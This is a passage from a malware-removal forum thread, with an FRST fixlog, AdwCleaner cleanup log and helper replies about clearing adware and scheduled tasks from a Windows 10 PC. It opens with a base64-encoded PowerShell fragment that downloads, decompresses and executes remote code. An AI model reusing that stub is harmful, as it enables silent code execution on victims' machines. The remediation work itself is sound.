AZQB5ACAAKwAgACQAaQApACAALQBiAGEAbgBkACAAMgA1ADUAKQApADsAfQAKAHIAZQB0AHUAcgBuACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQAZQBmAGwAYQB0AGUAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACQAYgB0ACwAMgAsACgAJABiAHQALgBMAGUAbgBnAHQAaAAtACQAZQB4AHQAKQApACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwB9AAoAJABzAGMAPQBkAHMAdAByACgAdwBjACgAJABzAHUAcgBsACkAKQA7AEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AYwBvAG0AbQBhAG4AZAAgACIAJABzAGMAIgA7AH0AYwBhAHQAYwBoAHsAfQA7AGUAeABpAHQAIAAwADsA
Task: {AD39A43D-3C0C-4490-B9C8-D06F8B9ED9F8} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> No File <==== ATTENTION
Task: {B96671E6-581C-4303-981E-F66DCAB39CAB} - System32\Tasks\ByteFence Scan => C:\Program Files\ByteFence\ByteFence.exe [2015-12-22] (Byte Technologies LLC)
Task: {C975D91A-8036-44E1-8D3C-C309661C52F1} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> No File <==== ATTENTION
Task: {CA67350E-59E6-4087-932B-A625223BDA72} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> No File <==== ATTENTION
Task: {D345DC32-914F-41A5-973E-5A7E57100779} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> No File <==== ATTENTION
Task: {D4A47CD2-5E92-452E-9A47-96BE37B4C7A6} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime -> No File <==== ATTENTION
Task: {E6F75A04-8958-4D3C-89C5-3E830CD3ED04} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime -> No File <==== ATTENTION
Task: {ECF20AD4-A3B7-4D84-9F5F-D10322ECB8F4} - System32\Tasks\UpdateTask => C:\Users\Larry\AppData\Local\{C2C3F~1\UNINST~1.EXE [2015-12-31] ()
Task: {F108C8F1-C7F7-4586-B249-13F1F5089957} - \One System Care Monitor -> No File <==== ATTENTION
Task: {F515D6A9-EC73-47FB-AD16-EC4A94D69A60} - \One System Care Task -> No File <==== ATTENTION
C:\Users\Larry\AppData\Local\{C2C3F~1
Task: C:\WINDOWS\Tasks\UpdateTask.job =>
cmd: ipconfig /flushdns
cmd: netsh advfirewall reset
cmd: netsh advfirewall set allprofiles state on
Reg: Reg Delete "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /F
Reg: Reg Add "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /F
Reg: reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
Reg: reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
CMD: bitsadmin /reset /allusers
RemoveProxy:
EmptyTemp:
Reboot:
end

*****************

Restore point was successfully created.
Processes closed successfully.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\PlutoTV.lnk => not found.
C:\Program Files (x86)\Pluto TV\PlutoTV.exe => not found.
C:\Program Files (x86)\Pluto TV => moved successfully
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\Software\Microsoft\Internet Explorer\Main\\Start Page => value restored successfully
HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\Software\Microsoft\Internet Explorer\Main\\Start Page => Error setting value.
"HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{8E0E081D-FD81-46C2-AD92-3B939C17F151}" => key removed successfully
HKCR\CLSID\{8E0E081D-FD81-46C2-AD92-3B939C17F151} => key not found.
"HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{8E0E081D-FD81-46C2-AD92-3B939C17F151}" => key removed successfully
HKCR\Wow6432Node\CLSID\{8E0E081D-FD81-46C2-AD92-3B939C17F151} => key not found.
"HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{D944BB61-2E34-4DBF-A683-47E505C587DC}" => key removed successfully
HKCR\Wow6432Node\CLSID\{D944BB61-2E34-4DBF-A683-47E505C587DC} => key not found.
HKU\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => value removed successfully
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => value removed successfully
"HKU\S-1-5-21-2690978493-790239216-3970457346-1001\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{8E0E081D-FD81-46C2-AD92-3B939C17F151}" => key removed successfully
HKCR\CLSID\{8E0E081D-FD81-46C2-AD92-3B939C17F151} => key not found.
HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => value not found.
HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{8E0E081D-FD81-46C2-AD92-3B939C17F151} => key not found.
HKCR\CLSID\{8E0E081D-FD81-46C2-AD92-3B939C17F151} => key not found.
"HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{6D53EC84-6AAE-4787-AEEE-F4628F01010C}" => key removed successfully
"HKCR\Wow6432Node\CLSID\{6D53EC84-6AAE-4787-AEEE-F4628F01010C}" => key removed successfully
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Toolbar\\{7FEBEFE3-6B19-4349-98D2-FFB09D4B49CA} => value removed successfully
"HKCR\Wow6432Node\CLSID\{7FEBEFE3-6B19-4349-98D2-FFB09D4B49CA}" => key removed successfully
Chrome HomePage => removed successfully
Chrome StartupUrls => removed successfully
Chrome DefaultSearchURL => removed successfully
Chrome DefaultSearchKeyword => removed successfully
Chrome DefaultSuggestURL => removed successfully
C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf => moved successfully
C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf => moved successfully
"HKLM\SOFTWARE\Google\Chrome\Extensions\hkhkiakolggnnicallabhkobalpeplpi" => key removed successfully
"HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\hkhkiakolggnnicallabhkobalpeplpi" => key removed successfully
rtop => service not found.
C:\Program Files\ByteFence => moved successfully
C:\ForceByteDetector => moved successfully
C:\Users\Larry\Downloads\Force112_Byte_Detector (1).exe => moved successfully
C:\Users\Larry\Downloads\Force112_Byte_Detector.exe => moved successfully
C:\ProgramData\Reimage Protector => moved successfully
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Reimage Repair => moved successfully
C:\Program Files\Reimage => moved successfully
C:\rei => moved successfully
C:\WINDOWS\Reimage.ini => moved successfully
C:\Users\Larry\Downloads\ReimageRepair.exe => moved successfully
"C:\Users\Larry\Desktop\Chromium.lnk" => not found.
"C:\Users\Larry\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chromium" => not found.
"C:\Users\Larry\AppData\Local\Chromium" => not found.
C:\WINDOWS\Tasks\UpdateTask.job => moved successfully
C:\WINDOWS\System32\Tasks\UpdateTask => moved successfully
C:\Users\Larry\Desktop\ChromeSetup.exe => moved successfully
C:\Users\Larry\.pluto.tv => moved successfully
C:\Users\Larry\AppData\Local\PlutoTV => moved successfully
"C:\WINDOWS\System32\Tasks\DriverRestore_ScheduledScan" => not found.
"C:\WINDOWS\System32\Tasks\DriverRestore_DailyScan" => not found.
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Pluto TV" => not found.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DriverRestore => moved successfully
C:\WINDOWS\SysWOW64\Drivers\DrvAgent64.SYS => moved successfully
"C:\Program Files (x86)\DriverRestore" => not found.
"C:\Program Files (x86)\Pluto TV" => not found.
C:\WINDOWS\System32\Tasks\{0D0F7A47-050C-7F0A-0B11-7E0F7F78117A} => moved successfully
"C:\WINDOWS\System32\Tasks\ByteFence Scan" => not found.
"C:\WINDOWS\System32\Tasks\ByteFence" => not found.
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ByteFence Anti-Malware" => not found.
"C:\ProgramData\ByteFence" => not found.
C:\ProgramData\3d7baade-58d1-0 => moved successfully
C:\ProgramData\3d7baade-1733-1 => moved successfully
"C:\Program Files\ByteFence" => not found.
"C:\Users\Larry\AppData\Local\{C2C3F49F-E66B-9827-8BF3-BDCFAF9B4157}" => not found.
C:\Users\Larry\Downloads\ChromeSetupFree.exe => moved successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{0149A79E-E44F-4B8C-896A-272731FBC620}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0149A79E-E44F-4B8C-896A-272731FBC620}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\refreshgwxconfig" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{04A88163-B819-4E03-AF8C-26EE65B48EBA}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{04A88163-B819-4E03-AF8C-26EE65B48EBA}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B" => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0B083500-70BD-4681-92EE-5E6D34A4C0B6} => key not found.
C:\WINDOWS\System32\Tasks\DriverRestore_ScheduledScan => not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\DriverRestore_ScheduledScan => key not found.
"C:\Program Files (x86)\DriverRestore" => not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0E4889E6-5E0B-47AB-B635-1178211CE753} => key not found.
C:\WINDOWS\System32\Tasks\DriverRestore_DailyScan => not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\DriverRestore_DailyScan => key not found.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{14DF3806-AAD3-4F5B-92D5-8F90E55AC1D1}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{14DF3806-AAD3-4F5B-92D5-8F90E55AC1D1}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{2017B43B-5A8E-4287-B68E-BA257A479864}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2017B43B-5A8E-4287-B68E-BA257A479864}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\Time-5d" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{2D0DFA27-A2A7-4BF3-B1B8-C2B3A84264BF}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2D0DFA27-A2A7-4BF3-B1B8-C2B3A84264BF}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent" => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{5CC95500-6598-4330-9100-1B1835E8E688} => key not found.
C:\WINDOWS\System32\Tasks\ByteFence => not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ByteFence => key not found.
"C:\Program Files\ByteFence" => not found.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{86F9681A-F0EB-4E66-B920-D0287855D363}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{86F9681A-F0EB-4E66-B920-D0287855D363}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\Logon-5d" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{877C45C9-CB87-4B14-8E6A-9532AB4B3725}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{877C45C9-CB87-4B14-8E6A-9532AB4B3725}" => key removed successfully
C:\WINDOWS\System32\Tasks\{0D0F7A47-050C-7F0A-0B11-7E0F7F78117A} => not found.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{0D0F7A47-050C-7F0A-0B11-7E0F7F78117A}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{AD39A43D-3C0C-4490-B9C8-D06F8B9ED9F8}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{AD39A43D-3C0C-4490-B9C8-D06F8B9ED9F8}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\launchtrayprocess" => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B96671E6-581C-4303-981E-F66DCAB39CAB} => key not found.
C:\WINDOWS\System32\Tasks\ByteFence Scan => not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ByteFence Scan => key not found.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{C975D91A-8036-44E1-8D3C-C309661C52F1}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C975D91A-8036-44E1-8D3C-C309661C52F1}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{CA67350E-59E6-4087-932B-A625223BDA72}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{CA67350E-59E6-4087-932B-A625223BDA72}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{D345DC32-914F-41A5-973E-5A7E57100779}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D345DC32-914F-41A5-973E-5A7E57100779}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\refreshgwxcontent" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{D4A47CD2-5E92-452E-9A47-96BE37B4C7A6}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D4A47CD2-5E92-452E-9A47-96BE37B4C7A6}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{E6F75A04-8958-4D3C-89C5-3E830CD3ED04}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{E6F75A04-8958-4D3C-89C5-3E830CD3ED04}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{ECF20AD4-A3B7-4D84-9F5F-D10322ECB8F4}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{ECF20AD4-A3B7-4D84-9F5F-D10322ECB8F4}" => key removed successfully
C:\WINDOWS\System32\Tasks\UpdateTask => not found.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\UpdateTask" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{F108C8F1-C7F7-4586-B249-13F1F5089957}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{F108C8F1-C7F7-4586-B249-13F1F5089957}" => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\One System Care Monitor => key not found.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{F515D6A9-EC73-47FB-AD16-EC4A94D69A60}" => key removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{F515D6A9-EC73-47FB-AD16-EC4A94D69A60}" => key removed successfully
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\One System Care Task => key not found.
"C:\Users\Larry\AppData\Local\{C2C3F~1" => not found.
Task: C:\WINDOWS\Tasks\UpdateTask.job => => not found.

========= ipconfig /flushdns =========


Windows IP Configuration

Successfully flushed the DNS Resolver Cache.

========= End of CMD: =========


========= netsh advfirewall reset =========

Ok.


========= End of CMD: =========


========= netsh advfirewall set allprofiles state on =========

Ok.


========= End of CMD: =========


========= Reg Delete "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /F =========

ERROR: The system was unable to find the specified registry key or value.


========= End of Reg: =========


========= Reg Add "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /F =========

The operation completed successfully.



========= End of Reg: =========


========= reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f =========

The operation completed successfully.



========= End of Reg: =========


========= reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f =========

The operation completed successfully.



========= End of Reg: =========


========= bitsadmin /reset /allusers =========


BITSADMIN version 3.0 [ 7.8.10586 ]
BITS administration utility.
© Copyright 2000-2006 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

{FA7B1F3F-84B1-46C3-8D32-133A5A536098} canceled.
{9D23ECA0-C9A5-446E-B326-36D8A75EFFE0} canceled.
{FE09D52D-A436-4F83-8F5F-B409B6B35BA7} canceled.
{64C0DDB7-6586-4574-8BED-E855ED0FBCD8} canceled.
{D250DA6D-187C-47A9-B61F-D4329926C37E} canceled.
5 out of 5 jobs canceled.

========= End of CMD: =========


========= RemoveProxy: =========

HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => value removed successfully
HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => value removed successfully
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => value removed successfully
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => value removed successfully


========= End of RemoveProxy: =========

EmptyTemp: => 958.5 MB temporary data Removed.


The system needed a reboot.

==== End of Fixlog 17:04:35 ====
  • 0

#4
dbreeze

dbreeze

    Trusted Helper

  • Malware Removal
  • 2,213 posts

Please rerun the AdwCleaner.exe program on the desktop.  When it loads, click SCAN.  When the scan is finished, please click Cleaning.  When this is finished, please post the log with the C# in it (should be C1 or C2 I believe).

 

Also, please let me know how the system is running now.  Thanks.


  • 0

#5
larryzas

larryzas

    Member

  • Topic Starter
  • Member
  • PipPip
  • 19 posts

Everything seems to be working ok now. Lets keep our fingers crossed I think. Unless you see something else that could be done to speed it up I think we are good :)
Thanks for all your help so far!


# AdwCleaner v5.028 - Logfile created 04/01/2016 at 17:16:25
# Updated 04/01/2016 by Xplode
# Database : 2016-01-04.2 [Server]
# Operating system : Windows 10 Home (x64)
# Username : Larry - LARRYSCOMPUTER
# Running from : C:\Users\Larry\Desktop\adwcleaner_5.028.exe
# Option : Cleaning
# Support : http://toolslib.net/forum

***** [ Services ] *****


***** [ Folders ] *****

[-] Folder Deleted : C:\Program Files (x86)\Yahoo!\Companion
[-] Folder Deleted : C:\Users\Larry\AppData\LocalLow\Yahoo!\Companion
[-] Folder Deleted : C:\Users\Larry\AppData\Roaming\Yahoo!\Companion

***** [ Files ] *****


***** [ DLLs ] *****


***** [ Shortcuts ] *****


***** [ Scheduled tasks ] *****


***** [ Registry ] *****

[-] Key Deleted : HKLM\SOFTWARE\Classes\AppID\REI_AxControl.DLL
[-] Key Deleted : HKLM\SOFTWARE\Classes\REI_AxControl.ReiEngine.1
[-] Key Deleted : HKLM\SOFTWARE\Classes\REI_AxControl.ReiEngine
[-] Key Deleted : HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar.1
[-] Key Deleted : HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar
[-] Key Deleted : HKLM\SOFTWARE\Classes\AppID\{28FF42B8-A0DA-4BE5-9B81-E26DD59B350A}
[-] Key Deleted : HKLM\SOFTWARE\Classes\Interface\{9BB31AD8-5DB2-459E-A901-DEA536F23BA4}
[-] Key Deleted : HKLM\SOFTWARE\Classes\Interface\{BD51A48E-EB5F-4454-8774-EF962DF64546}
[-] Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{FA6468D2-FAA4-4951-A53B-2A5CF9CC0A36}
[-] Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{10ECCE17-29B5-4880-A8F5-EAD298611484}
[-] Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{801B440B-1EE3-49B0-B05D-2AB076D4E8CB}
[-] Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{9BB31AD8-5DB2-459E-A901-DEA536F23BA4}
[-] Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{BD51A48E-EB5F-4454-8774-EF962DF64546}
[-] Key Deleted : HKCU\Software\eSupport.com
[-] Key Deleted : HKCU\Software\DriverRestore
[-] Key Deleted : HKCU\Software\Yahoo\Companion
[-] Key Deleted : HKCU\Software\Yahoo\YFriendsBar
[-] Key Deleted : HKCU\Software\AppDataLow\Software\Yahoo\Companion
[-] Key Deleted : HKLM\SOFTWARE\Yahoo\Companion
[-] Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{8DBC5A0A-31C4-46C7-B252-6B593EA11A87}
[-] Key Deleted : [x64] HKLM\SOFTWARE\Reimage
[-] Key Deleted : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Reimage Repair
[-] Key Deleted : HKU\.DEFAULT\Software\Yahoo\Companion
[-] Key Deleted : HKU\.DEFAULT\Software\Yahoo\YFriendsBar
[-] Key Deleted : HKU\.DEFAULT\Software\AppDataLow\Software\Yahoo\Companion

***** [ Web browsers ] *****


*************************

:: "Tracing" keys removed
:: Winsock settings cleared

########## EOF - C:\AdwCleaner\AdwCleaner[C1].txt - [2682 bytes] ##########
  • 0

#6
dbreeze

dbreeze

    Trusted Helper

  • Malware Removal
  • 2,213 posts

I think that pretty much cleaned this one up.  It looked like just that one batch of malware came in with a "questionable" installation.  We will give this one a day and then close it up.


  • 0

#7
dbreeze

dbreeze

    Trusted Helper

  • Malware Removal
  • 2,213 posts

Due to lack of feedback, this topic has been closed.

If you need this topic reopened, please contact a staff member. This applies only to the original topic starter. Everyone else please begin a New Topic.


  • 0






Similar Topics

0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users

As Featured On:

Microsoft Yahoo BBC MSN PC Magazine Washington Post HP